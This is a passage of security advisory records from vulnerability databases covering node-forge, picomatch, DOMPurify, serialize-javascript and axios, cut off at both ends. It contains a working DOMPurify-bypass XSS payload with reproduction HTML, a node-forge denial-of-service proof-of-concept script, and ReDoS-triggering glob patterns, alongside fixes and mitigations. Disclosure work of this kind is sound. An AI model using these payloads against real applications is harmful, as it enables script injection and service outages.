"github_reviewed_at": "2026-03-26T21:57:48Z",
"nvd_published_at": "2026-03-27T21:17:25Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU.\nAffected Package\n\nPackage name: node-forge (npm: node-forge)\nRepository: https://github.com/digitalbazaar/forge\nAffected versions: All versions (including latest)\nAffected file: lib/jsbn.js, function bnModInverse()\nRoot cause component: Bundled copy of the jsbn (JavaScript Big Number) library\n\n## Vulnerability Details\n\nType: Denial of Service (DoS)\nCWE: CWE-835 (Loop with Unreachable Exit Condition)\nAttack vector: Network (if the application processes untrusted input that reaches modInverse)\nPrivileges required: None\nUser interaction: None\nImpact: Availability (process hangs indefinitely)\nSuggested CVSS v3.1 score: 5.3\u20137.5 (depending on the context of usage)\n\n## Root Cause Analysis\n\nThe BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m.\nMathematically, the modular inverse of 0 does not exist \u2014 gcd(0, m) = m \u2260 1 for any m \u003e 1. However, the implementation does not check whether the input value is zero before entering the algorithm\u0027s main loop. When this equals 0, the algorithm\u0027s loop condition is never satisfied for termination, resulting in an infinite loop.\nThe relevant code path in lib/jsbn.js:\n```js\njavascriptfunction bnModInverse(m) {\n // ... setup ...\n // No check for this == 0\n // Enters Extended Euclidean Algorithm loop that never terminates when this == 0\n}\n```\n\n## Attack Scenario\n\nAny application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:\n\nDSA/ECDSA signature verification \u2014 A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang.\nCustom RSA or Diffie-Hellman implementations \u2014 Applications performing modular arithmetic with user-supplied parameters.\nAny cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().\n\nA single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.\n\n## Proof of Concept\n\nEnvironment Setup\n```bash\nmkdir forge-poc \u0026\u0026 cd forge-poc\nnpm init -y\nnpm install node-forge\n```\nReproduction (poc.js)\nA single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.\n```bash\nmkdir forge-poc \u0026\u0026 cd forge-poc\nnpm init -y\nnpm install node-forge\n# Save the script below as poc.js, then run:\nnode poc.js\n```\n```javascript\n\u0027use strict\u0027;\nconst { spawnSync } = require(\u0027child_process\u0027);\n\nconst childCode = `\n const forge = require(\u0027node-forge\u0027);\n // jsbn may not be auto-loaded; try explicit require if needed\n if (!forge.jsbn) {\n try { require(\u0027node-forge/lib/jsbn\u0027); } catch(e) {}\n }\n if (!forge.jsbn || !forge.jsbn.BigInteger) {\n console.error(\u0027ERROR: forge.jsbn.BigInteger not available\u0027);\n process.exit(2);\n }\n const BigInteger = forge.jsbn.BigInteger;\n const zero = new BigInteger(\u00270\u0027, 10);\n const mod = new BigInteger(\u00273\u0027, 10);\n // This call should throw or return 0, but instead loops forever\n const inv = zero.modInverse(mod);\n console.log(\u0027returned: \u0027 + inv.toString());\n`;\n\nconsole.log(\u0027[*] Testing: BigInteger(0).modInverse(3)\u0027);\nconsole.log(\u0027[*] Expected: throw an error or return quickly\u0027);\nconsole.log(\u0027[*] Spawning child process with 5s timeout...\u0027);\nconsole.log();\n\nconst result = spawnSync(process.execPath, [\u0027-e\u0027, childCode], {\n encoding: \u0027utf8\u0027,\n timeout: 5000,\n});\n\nif (result.error \u0026\u0026 result.error.code === \u0027ETIMEDOUT\u0027) {\n console.log(\u0027[VULNERABLE] Child process timed out after 5s\u0027);\n console.log(\u0027 -\u003e modInverse(0, 3) entered an infinite loop (DoS confirmed)\u0027);\n process.exit(0);\n}\n\nif (result.status === 2) {\n console.log(\u0027[ERROR] Could not access BigInteger:\u0027, result.stderr.trim());\n console.log(\u0027 -\u003e Check your node-forge installation\u0027);\n process.exit(1);\n}\n\nif (result.status === 0) {\n console.log(\u0027[NOT VULNERABLE] modInverse returned:\u0027, result.stdout.trim());\n process.exit(1);\n}\n\nconsole.log(\u0027[NOT VULNERABLE] Child exited with error (status \u0027 + result.status + \u0027)\u0027);\nif (result.stderr) console.log(\u0027 stderr:\u0027, result.stderr.trim());\nprocess.exit(1);\n```\nExpected Output\n```\n[*] Testing: BigInteger(0).modInverse(3)\n[*] Expected: throw an error or return quickly\n[*] Spawning child process with 5s timeout...\n\n[VULNERABLE] Child process timed out after 5s\n -\u003e modInverse(0, 3) entered an infinite loop (DoS confirmed)\nVerified On\n```\n\nnode-forge v1.3.1 (latest at time of writing)\nNode.js v18.x / v20.x / v22.x\nmacOS / Linux / Windows\n\n## Impact\n\nAvailability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests.\nScope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.\n\n## Suggested Fix\n\nAdd a zero-value check at the entry of bnModInverse() in lib/jsbn.js:\n```javascript\nfunction bnModInverse(m) {\n var ac = m.isEven();\n // Add this check:\n if (this.signum() == 0) {\n throw new Error(\u0027BigInteger has no modular inverse: input is zero\u0027);\n }\n // ... rest of the existing implementation ...\n}\n```\nAlternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java\u0027s BigInteger.modInverse() throws ArithmeticException).",
"id": "GHSA-5m6q-g25r-mvwx",
"modified": "2026-03-27T21:50:24Z",
"published": "2026-03-26T21:57:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33891"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023"
},
{
"type": "PACKAGE",
"url": "https://github.com/digitalbazaar/forge"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input"
}
GHSA-C2C7-RCM5-VVQJ
Vulnerability from github – Published: 2026-03-25 21:12 – Updated: 2026-03-27 21:36Impact
picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.
Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.
Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- disable extglob support for untrusted patterns by using noextglob: true
- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
- enforce strict allowlists for accepted pattern syntax
- run matching in an isolated worker or separate process with time and resource limits
- apply application-level request throttling and input validation for any endpoint that accepts glob patterns
Resources
- Picomatch repository: https://github.com/micromatch/picomatch
lib/parse.jsandlib/constants.jsare involved in generating the vulnerable regex forms- Comparable ReDoS precedent: CVE-2024-4067 (
micromatch) - Comparable generated-regex precedent: CVE-2024-45296 (
path-to-regexp)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33671"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:12:07Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "HIGH"
},
"details": "### Impact\n`picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.\n\nExamples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook.\n\nApplications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.\n\n### Patches\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`.\n\nPossible mitigations include:\n- disable extglob support for untrusted patterns by using `noextglob: true`\n- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`\n- enforce strict allowlists for accepted pattern syntax\n- run matching in an isolated worker or separate process with time and resource limits\n- apply application-level request throttling and input validation for any endpoint that accepts glob patterns\n\n### Resources\n- Picomatch repository: https://github.com/micromatch/picomatch\n- `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms\n- Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`)\n- Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)",
"id": "GHSA-c2c7-rcm5-vvqj",
"modified": "2026-03-27T21:36:13Z",
"published": "2026-03-25T21:12:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33671"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d"
},
{
"type": "PACKAGE",
"url": "https://github.com/micromatch/picomatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Picomatch has a ReDoS vulnerability via extglob quantifiers"
}
GHSA-CRV5-9VWW-Q3G8
Vulnerability from github – Published: 2026-04-22 17:32 – Updated: 2026-04-27 16:32Summary
| Field | Value |
|---|---|
| Severity | Medium |
| Affected | DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db) |
SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.
Technical Details
DOMPurify strips template expressions in two passes:
- Per-node — each text node is checked during the tree walk (
purify.ts:1179-1191):
// pass #1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
content = currentNode.textContent;
content = content.replace(MUSTACHE_EXPR, ' '); // {{...}} -> ' '
content = content.replace(ERB_EXPR, ' '); // <%...%> -> ' '
content = content.replace(TMPLIT_EXPR, ' '); // ${... -> ' '
currentNode.textContent = content;
}
- Final string scrub — after serialization, the full HTML string is scrubbed again (
purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.
The RETURN_DOM path returns before pass #2 ever runs (purify.ts:1637-1661):
// purify.ts (simplified)
if (RETURN_DOM) {
// ... build returnNode ...
return returnNode; // <-- exits here, pass #2 never runs
}
// pass #2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;
The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:
- Parser creates:
TEXT("{")→<foo>→TEXT("{payload}")→<foo>→TEXT("}")— no single node contains{{, so pass #1 misses it <foo>is not allowed, so DOMPurify removes it but keeps surrounding text- The three text nodes are now adjacent —
.outerHTMLreads them as{{payload}}, which Vue 2 compiles and executes
Reproduce
Open the following html in any browser and alert(1) pops up.
<!DOCTYPE html>
<html>
<body>
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
<script>
var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
document.body.appendChild(dom.firstChild);
new Vue({ el: '#app' });
</script>
</body>
</html>
Impact
Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.
Recommendations
Fix
normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.
if (RETURN_DOM) {
+ if (SAFE_FOR_TEMPLATES) {
+ body.normalize();
+ let html = body.innerHTML;
+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+ html = stringReplace(html, expr, ' ');
+ });
+ body.innerHTML = html;
+ }
+
if (RETURN_DOM_FRAGMENT) {
returnNode = createDocumentFragment.call(body.ownerDocument);
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.10"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41239"
],
"database_specific": {
"cwe_ids": [
"CWE-1289",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T17:32:54Z",
"nvd_published_at": "2026-04-23T16:16:26Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n| Field | Value |\n|:------|:------|\n| **Severity** | Medium |\n| **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) |\n\n`SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2.\n\n## Technical Details\n\nDOMPurify strips template expressions in two passes:\n\n1. **Per-node** \u2014 each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)):\n\n```js\n// pass #1: runs on every text node during tree walk\nif (SAFE_FOR_TEMPLATES \u0026\u0026 currentNode.nodeType === NODE_TYPE.text) {\n content = currentNode.textContent;\n content = content.replace(MUSTACHE_EXPR, \u0027 \u0027); // {{...}} -\u003e \u0027 \u0027\n content = content.replace(ERB_EXPR, \u0027 \u0027); // \u003c%...%\u003e -\u003e \u0027 \u0027\n content = content.replace(TMPLIT_EXPR, \u0027 \u0027); // ${... -\u003e \u0027 \u0027\n currentNode.textContent = content;\n}\n```\n\n2. **Final string scrub** \u2014 after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles.\n\nThe `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)):\n\n```js\n// purify.ts (simplified)\n\nif (RETURN_DOM) {\n // ... build returnNode ...\n return returnNode; // \u003c-- exits here, pass #2 never runs\n}\n\n// pass #2: only reached by string-mode callers\nif (SAFE_FOR_TEMPLATES) {\n serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, \u0027 \u0027);\n}\nreturn serializedHTML;\n```\n\nThe payload `{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor(\u0027alert(1)\u0027)()}\u003cfoo\u003e\u003c/foo\u003e}` exploits this:\n\n1. Parser creates: `TEXT(\"{\")` \u2192 `\u003cfoo\u003e` \u2192 `TEXT(\"{payload}\")` \u2192 `\u003cfoo\u003e` \u2192 `TEXT(\"}\")` \u2014 no single node contains `{{`, so pass #1 misses it\n2. `\u003cfoo\u003e` is not allowed, so DOMPurify removes it but keeps surrounding text\n3. The three text nodes are now adjacent \u2014 `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes\n\n## Reproduce\n\nOpen the following html in any browser and `alert(1)` pops up.\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n \u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js\"\u003e\u003c/script\u003e\n \u003cscript src=\"https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js\"\u003e\u003c/script\u003e\n \u003cscript\u003e\n var dirty = \u0027\u003cdiv id=\"app\"\u003e{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor(\"alert(1)\")()}\u003cfoo\u003e\u003c/foo\u003e}\u003c/div\u003e\u0027;\n var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });\n document.body.appendChild(dom.firstChild);\n new Vue({ el: \u0027#app\u0027 });\n \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n```\n\n## Impact\n\nAny application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS.\n\n## Recommendations\n\n### Fix\n\n`normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`.\n\n```diff\n if (RETURN_DOM) {\n+ if (SAFE_FOR_TEMPLATES) {\n+ body.normalize();\n+ let html = body.innerHTML;\n+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n+ html = stringReplace(html, expr, \u0027 \u0027);\n+ });\n+ body.innerHTML = html;\n+ }\n+\n if (RETURN_DOM_FRAGMENT) {\n returnNode = createDocumentFragment.call(body.ownerDocument);\n```",
"id": "GHSA-crv5-9vww-q3g8",
"modified": "2026-04-27T16:32:12Z",
"published": "2026-04-22T17:32:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41239"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode"
}
CVE-2026-34043 (GCVE-0-2026-34043)
Vulnerability from cvelistv5 – Published: 2026-03-31 01:48 – Updated: 2026-03-31 13:55| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| yahoo | serialize-javascript |
Affected:
< 7.0.5
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-34043",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T13:55:44.694969Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T13:55:54.998Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "serialize-javascript",
"vendor": "yahoo",
"versions": [
{
"status": "affected",
"version": "\u003c 7.0.5"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Serialize JavaScript to a superset of JSON that includes regular expressions and functions. Prior to version 7.0.5, there is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted \"array-like\" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. This issue has been patched in version 7.0.5."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-834",
"description": "CWE-834: Excessive Iteration",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T01:48:45.759Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-qj8w-gfj5-8c6v",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-qj8w-gfj5-8c6v"
},
{
"name": "https://github.com/yahoo/serialize-javascript/commit/f147e90269b58bb6e539cfdf3d0e20d6ad14204b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yahoo/serialize-javascript/commit/f147e90269b58bb6e539cfdf3d0e20d6ad14204b"
},
{
"name": "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.5"
}
],
"source": {
"advisory": "GHSA-qj8w-gfj5-8c6v",
"discovery": "UNKNOWN"
},
"title": "Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-34043",
"datePublished": "2026-03-31T01:48:45.759Z",
"dateReserved": "2026-03-25T15:29:04.745Z",
"dateUpdated": "2026-03-31T13:55:54.998Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42044 (GCVE-0-2026-42044)
Vulnerability from cvelistv5 – Published: 2026-04-24 17:49 – Updated: 2026-07-03 12:04| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42044",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-24T18:11:49.647774Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T18:12:13.920Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4.4::el9"
],
"defaultStatus": "affected",
"product": "HawtIO HawtIO 4.4.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.12::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.12.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.15::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1.8::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Migration Toolkit 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.12::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.12",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.14::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.15::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Artifact Signer 1.3",
"vendor": "Red Hat"
},
{
